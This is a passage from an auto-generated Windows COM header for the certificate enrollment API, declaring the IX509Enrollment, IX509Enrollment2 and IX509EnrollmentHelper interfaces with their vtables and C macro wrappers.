)( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Enrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Enrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Enrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Enrollment * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromRequest )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateRequest )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509Enrollment * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreatePFX )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Response )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateDescription )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateDescription )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAConfigString )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509EnrollmentVtbl;\n\n    interface IX509Enrollment\n    {\n        CONST_VTBL struct IX509EnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Enrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Enrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Enrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Enrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Enrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Enrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Enrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Enrollment_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509Enrollment_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509Enrollment_InitializeFromRequest(This,pRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromRequest(This,pRequest) ) \n\n#define IX509Enrollment_CreateRequest(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequest(This,Encoding,pValue) ) \n\n#define IX509Enrollment_Enroll(This)\t\\\n    ( (This)->lpVtbl -> Enroll(This) ) \n\n#define IX509Enrollment_InstallResponse(This,Restrictions,strResponse,Encoding,strPassword)\t\\\n    ( (This)->lpVtbl -> InstallResponse(This,Restrictions,strResponse,Encoding,strPassword) ) \n\n#define IX509Enrollment_CreatePFX(This,strPassword,ExportOptions,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreatePFX(This,strPassword,ExportOptions,Encoding,pValue) ) \n\n#define IX509Enrollment_get_Request(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,pValue) ) \n\n#define IX509Enrollment_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509Enrollment_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509Enrollment_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509Enrollment_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509Enrollment_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509Enrollment_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509Enrollment_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509Enrollment_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509Enrollment_get_Response(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Response(This,Encoding,pValue) ) \n\n#define IX509Enrollment_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509Enrollment_put_CertificateFriendlyName(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,strValue) ) \n\n#define IX509Enrollment_get_CertificateDescription(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateDescription(This,pValue) ) \n\n#define IX509Enrollment_put_CertificateDescription(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateDescription(This,strValue) ) \n\n#define IX509Enrollment_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define IX509Enrollment_get_CAConfigString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAConfigString(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Enrollment_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Enrollment2_INTERFACE_DEFINED__\n#define __IX509Enrollment2_INTERFACE_DEFINED__\n\n/* interface IX509Enrollment2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Enrollment2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab350-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Enrollment2 : public IX509Enrollment\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InstallResponse2( \n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509Enrollment2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Enrollment2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromRequest )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateRequest )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreatePFX )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Response )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateDescription )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateDescription )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAConfigString )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse2 )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestIdString )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509Enrollment2Vtbl;\n\n    interface IX509Enrollment2\n    {\n        CONST_VTBL struct IX509Enrollment2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Enrollment2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Enrollment2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Enrollment2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Enrollment2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Enrollment2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Enrollment2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Enrollment2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Enrollment2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509Enrollment2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509Enrollment2_InitializeFromRequest(This,pRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromRequest(This,pRequest) ) \n\n#define IX509Enrollment2_CreateRequest(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequest(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_Enroll(This)\t\\\n    ( (This)->lpVtbl -> Enroll(This) ) \n\n#define IX509Enrollment2_InstallResponse(This,Restrictions,strResponse,Encoding,strPassword)\t\\\n    ( (This)->lpVtbl -> InstallResponse(This,Restrictions,strResponse,Encoding,strPassword) ) \n\n#define IX509Enrollment2_CreatePFX(This,strPassword,ExportOptions,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreatePFX(This,strPassword,ExportOptions,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_Request(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,pValue) ) \n\n#define IX509Enrollment2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509Enrollment2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509Enrollment2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509Enrollment2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509Enrollment2_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509Enrollment2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509Enrollment2_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509Enrollment2_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_Response(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Response(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509Enrollment2_put_CertificateFriendlyName(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,strValue) ) \n\n#define IX509Enrollment2_get_CertificateDescription(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateDescription(This,pValue) ) \n\n#define IX509Enrollment2_put_CertificateDescription(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateDescription(This,strValue) ) \n\n#define IX509Enrollment2_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define IX509Enrollment2_get_CAConfigString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAConfigString(This,pValue) ) \n\n\n#define IX509Enrollment2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509Enrollment2_InstallResponse2(This,Restrictions,strResponse,Encoding,strPassword,strEnrollmentPolicyServerUrl,strEnrollmentPolicyServerID,EnrollmentPolicyServerFlags,authFlags)\t\\\n    ( (This)->lpVtbl -> InstallResponse2(This,Restrictions,strResponse,Encoding,strPassword,strEnrollmentPolicyServerUrl,strEnrollmentPolicyServerID,EnrollmentPolicyServerFlags,authFlags) ) \n\n#define IX509Enrollment2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509Enrollment2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509Enrollment2_get_RequestIdString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestIdString(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Enrollment2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0088 */\n/* [local] */ \n\ntypedef \nenum WebEnrollmentFlags\n    {\n        EnrollPrompt\t= 0x1\n    } \tWebEnrollmentFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0088_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0088_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentHelper_INTERFACE_DEFINED__\n#define __IX509EnrollmentHelper_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentHelper */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentHelper;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab351-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentHelper : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddPolicyServer( \n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddEnrollmentServer( \n            /* [in] */ __RPC__in BSTR strEnrollmentServerURI,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Enroll( \n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strTemplateName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ WebEnrollmentFlags enrollFlags,\n            /* 